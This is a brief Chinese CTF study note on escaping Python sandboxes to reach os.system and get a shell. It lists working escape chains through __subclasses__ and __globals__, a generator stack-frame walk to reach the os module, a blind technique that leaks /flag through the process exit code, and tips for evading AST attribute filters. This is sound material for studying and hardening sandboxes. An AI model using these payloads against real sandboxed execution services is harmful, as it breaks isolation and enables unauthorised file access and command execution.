目的是 getshell.

要拿到 os.system() 这个函数。

如果没有 builtin

[].__class__.__base__.__subclasses__()[-2].__init__.__globals__['sys'].modules['os']

可以通过栈针操作

def f():
    yield g.gi_frame.f_back
g = f()
frame = [i for i in g][0]
b = frame.f_back.f_back.f_back.f_globals['sys']

os = b.modules['sys'].modules['os'];

无回显可以考虑 system 返回值或者 sleep 看返回值拿值(可能需要一定的时间)。

python -c 'import sys;sys.exit(ord(open("/flag", "r").read()[0]))'

https://note.tonycrane.cc/ctf/misc/escapes/pysandbox/

https://forum.butian.net/share/4114

https://tremse.cn/2025/05/15/python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#%E5%BC%82%E5%B8%B8%E6%A0%88%E5%B8%A7%E9%80%83%E9%80%B8

https://github.com/jailctf/pyjailbreaker

以及一些 trick:

Python 3.10 看上去可以通过 Exception 捕获异常读obj绕过。
f-string 中的 format 得到一定的值不会触发 ast attribute 检查。

后记

python沙箱逸出还是太难绷了,所以不如来写rust。

最后修改:2025 年 10 月 27 日
End.